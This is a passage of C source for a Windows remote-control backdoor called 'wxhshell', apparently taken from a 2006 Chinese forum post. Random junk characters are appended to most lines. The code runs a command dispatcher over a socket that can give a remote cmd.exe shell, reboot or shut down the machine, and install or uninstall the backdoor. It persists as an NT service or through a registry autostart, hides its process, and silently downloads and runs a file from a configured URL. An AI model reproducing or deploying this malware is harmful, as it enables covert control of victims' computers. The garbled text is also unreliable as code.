      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %NQ%6 B  
    break; R0=f`;  
  } iI<c  
  // 安装  Gk~aTO  
  case 'i': { K(?V]Mxl6  
    if(Install()) c6[m'cy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rL-R-;Ca  
    else n0=]C%wr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ve(<s  
    break; IMWt!#vuY  
    } uJ2ZHrJ  
  // 卸载 %AO6 =  
  case 'r': { ,w~3K%B4  
    if(Uninstall())  ]ltCJq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \s#~ %l  
    else o:#jvi84F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [k$GUU,jY  
    break; 0HWSdf|w  
    } {>hxmn  
  // 显示 wxhshell 所在路径 ,?yjsJd.  
  case 'p': { f$>_>E  
    char svExeFile[MAX_PATH]; :Hq%y/  
    strcpy(svExeFile,"\n\r"); \r IOnZ.WK  
      strcat(svExeFile,ExeFile); @S3L%lOH  
        send(wsh,svExeFile,strlen(svExeFile),0); ""7H;I&  
    break; >IS4  
    } #+o$Tg  
  // 重启 K ar!  
  case 'b': { sN1H{W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &n | <NF  
    if(Boot(REBOOT)) jP<6J(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "=Z=SJ1D  
    else { V<WWtu;3  
    closesocket(wsh); O h e^{:  
    ExitThread(0); FZgf"XM>  
    } )vq}$W!:9  
    break; x9F *$G  
    } Vb? wwx7=  
  // 关机 ^JxVs 7  
  case 'd': { w(bvs&`{uC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +On2R&m  
    if(Boot(SHUTDOWN)) nP*DZC0kE&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qf K gNZ  
    else { ozsd6&z5l  
    closesocket(wsh); oTvg%bX  
    ExitThread(0); F lVG,Z  
    } |d&Kr0QIV  
    break; S'RRe84 C  
    } F$i50s  
  // 获取shell 5q4wREh  
  case 's': { q>%.zc[x  
    CmdShell(wsh); alRz@N  
    closesocket(wsh); ipu~T)}  
    ExitThread(0); ;ZJ. 7t'  
    break; ih("`//nP  
  } dgQ<>+9]6  
  // 退出 9k93:#{WE  
  case 'x': { 0xi2VN"X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qCVb-f  
    CloseIt(wsh); 0XljFQ  
    break; YO.ddy*59  
    } D|Tz{DRG  
  // 离开 DQObHB8L  
  case 'q': { LTx,oa:ma  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V,Bol(wY  
    closesocket(wsh); BSkmFd(*  
    WSACleanup(); I7h v'3u  
    exit(1); -m ,Y6  
    break; t0<RtIh9e  
        } ?1|\(W#  
  } Le-t<6i-V#  
  } yz>S($u  
eF0FQlMe[  
  // 提示信息 modem6#x'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WOgkv(5KN  
} 4QC_zyTE  
  } s{c|J#s  
$<VH~Q<  
  return; g^:`h VV  
} D0_CDdW%7  
"Qc4v@~)  
// shell模块句柄 Z6So5r%wZ  
int CmdShell(SOCKET sock) 1#|lt\T  
{ 5ld?N2<8/  
STARTUPINFO si; DoBQ$Ke p  
ZeroMemory(&si,sizeof(si)); FBrh!vQ<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H7drDw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q`O~f<a  
PROCESS_INFORMATION ProcessInfo; ^VnnYtCRz  
char cmdline[]="cmd"; Gf!c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wj)v,v2&  
  return 0; gLFSZ  
} EpT^r8I  
J}bLp Z  
// 自身启动模式  '"hSX=  
int StartFromService(void) l"h6e$dP  
{ ;S&anC#E  
typedef struct A*|\E:fo  
{ Q7zpu/5?  
  DWORD ExitStatus; x*X{*?5@  
  DWORD PebBaseAddress; 1'\s7P  
  DWORD AffinityMask; z X+i2,  
  DWORD BasePriority; Jh4pY#aF  
  ULONG UniqueProcessId; McbbEs=)  
  ULONG InheritedFromUniqueProcessId; ]X X>h~0  
}   PROCESS_BASIC_INFORMATION; w}97`.Kt!n  
yr.sfPnJK  
PROCNTQSIP NtQueryInformationProcess; Fl(j,B6Z  
2PNe~9)*#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tp"eXA0n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3/c%4b.Z  
zG%'Cw)8  
  HANDLE             hProcess; XrXW6s ;Z  
  PROCESS_BASIC_INFORMATION pbi; "d0D8B7HI@  
@L 6)RF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )g^O'e=m  
  if(NULL == hInst ) return 0; 5CfD/}{:#I  
aM_O0Rn==  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4~;M\h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g^jTdrW/s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _1YC9}  
9.9B#?  
  if (!NtQueryInformationProcess) return 0; Jt}#,I,B  
?1LRR ;-x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m G+=0Rn^  
  if(!hProcess) return 0; 3m&  
)tS;gn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  BJg  
/*M3Ns1@2  
  CloseHandle(hProcess); Jy('tfAHp  
f)r6F JLU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tCw B 7 c-  
if(hProcess==NULL) return 0; ['K}p24,  
vbG&F.P  
HMODULE hMod; _lm^v%J$  
char procName[255]; `'pAiu  
unsigned long cbNeeded; g^\!> i  
cHOC>|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (zk/>Ou  
YJ~mcaw  
  CloseHandle(hProcess); M23r/eg]  
@tJic|)x  
if(strstr(procName,"services")) return 1; // 以服务启动 ',rK\&lL6  
d..JW{  
  return 0; // 注册表启动 #nAq~@X  
} B^d di  
!E)|[:$XT  
// 主模块 9^nRwo  
int StartWxhshell(LPSTR lpCmdLine) C46jVl   
{ q1ZZ T"'  
  SOCKET wsl; q[/pE7FL  
BOOL val=TRUE; !?+q7U  
  int port=0; P|C5k5  
  struct sockaddr_in door; i` ay9J8N  
Hk(=_[S  
  if(wscfg.ws_autoins) Install(); ( 5uSqw&U  
>vO+k^'Y  
port=atoi(lpCmdLine); 1xh7KBr,  
:3b02}b7  
if(port<=0) port=wscfg.ws_port; (vvD<S*  
HIC!:|  
  WSADATA data; WJ[>p ELT,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?ks.M'@  
a#& ( i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *JQ*$$5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xil;`8h  
  door.sin_family = AF_INET; 7?y 7fwER  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1MT,A_L  
  door.sin_port = htons(port);  X>P|-n#  
g x?r8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /SQ/$`1{  
closesocket(wsl); e0otr_)3F  
return 1; qPN9Put  
}  p(8@  
U~;tk@  
  if(listen(wsl,2) == INVALID_SOCKET) { I3d}DpPx%  
closesocket(wsl); ~131|e`C  
return 1; e?*Teb ?R  
} cUdS{K&K  
  Wxhshell(wsl); _{gqi$Mi  
  WSACleanup(); a7453s  
|r36iUHZS  
return 0; cCNRv$IO\  
qMA-#  
} F *r)  
V/kndV[j  
// 以NT服务方式启动 eF9GhwE=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,sL%Ykr  
{ slUi)@b  
DWORD   status = 0; SgehOu  
  DWORD   specificError = 0xfffffff; GQ>0E  
u *rP 8GuS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]dI^ S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y0A(- "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zB~ <@  
  serviceStatus.dwWin32ExitCode     = 0; N'R^gL  
  serviceStatus.dwServiceSpecificExitCode = 0; #jW=K&;  
  serviceStatus.dwCheckPoint       = 0; ^\?Rh(pu  
  serviceStatus.dwWaitHint       = 0; }(|gC,  
0<NS1y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <r$h =hM  
  if (hServiceStatusHandle==0) return; ]+W){W=ai  
^879sI  
status = GetLastError(); WKlyOK=}  
  if (status!=NO_ERROR) nReld :#T  
{ =CZRX' +yN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E5M/XW\E6  
    serviceStatus.dwCheckPoint       = 0; {7z]+h  
    serviceStatus.dwWaitHint       = 0; t'@mUX:-A  
    serviceStatus.dwWin32ExitCode     = status; d(d<@cB9  
    serviceStatus.dwServiceSpecificExitCode = specificError; k:R\;l5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ez5t)l-  
    return; J&,hC%]  
  } vk4 8&8  
h\w;SDwOk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )&d=2M;3  
  serviceStatus.dwCheckPoint       = 0; 6&ut r!\7  
  serviceStatus.dwWaitHint       = 0; cK u[ 4D{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *qy \%A  
} 3?]81v/  
i#t-p\Tcz  
// 处理NT服务事件,比如:启动、停止 Td'(RV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !V3+(o 1  
{ >Wt@O\k  
switch(fdwControl) ~1wt=Ln>  
{ #NYnZ^6e  
case SERVICE_CONTROL_STOP: `hkvxt  
  serviceStatus.dwWin32ExitCode = 0; aq}hlA(w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EHm*~Sd  
  serviceStatus.dwCheckPoint   = 0; v7wyQx+Q  
  serviceStatus.dwWaitHint     = 0; +u0of^}=  
  { D5@=#/?*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yVmp,""a  
  } F{E@snc  
  return;  &kmaKc  
case SERVICE_CONTROL_PAUSE: Jj>Rzj!m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l! 88|~  
  break; @M4c/k}  
case SERVICE_CONTROL_CONTINUE: mnK<5KLg1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~&D =;M/  
  break; (l{8Ix s  
case SERVICE_CONTROL_INTERROGATE: Za|iU`e\  
  break; J4::.r  
}; QjY}$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;QXg*GNAv$  
} #C&';HB;y  
}={@_g#  
// 标准应用程序主函数 5 _E8 RAG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V4V`0I  
{ q=5aHH% |  
pS+w4gW  
// 获取操作系统版本 |JIlp"[  
OsIsNt=GetOsVer(); D r(0w{5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q*&H  
w gS'/  
  // 从命令行安装 giNXX jl  
  if(strpbrk(lpCmdLine,"iI")) Install(); GuR^L@+ -.  
FJtmRPP[r  
  // 下载执行文件 '=E;^'Rl  
if(wscfg.ws_downexe) { #wIWh^^ Zy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l}L81t7f  
  WinExec(wscfg.ws_filenam,SW_HIDE); DfAF-Yhut  
} gxVr1DIkN  
A)]&L`s  
if(!OsIsNt) { D8L5t<^1R  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y bJg{Sb  
HideProc(); =|E "  
StartWxhshell(lpCmdLine); N=1ue`i  
} Qpmq@iL  
else Ak@!F6~  
  if(StartFromService()) Hj{.{V  
  // 以服务方式启动 "ZGP,=?y2  
  StartServiceCtrlDispatcher(DispatchTable); #[=kQ&  
else ]?=87w  
  // 普通方式启动 {`SMxDevc}  
  StartWxhshell(lpCmdLine); &q<k0_5Q  
_:9}RT?  
return 0; ~4~r  
}
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只看该作者 1 发表于: 2006-10-10
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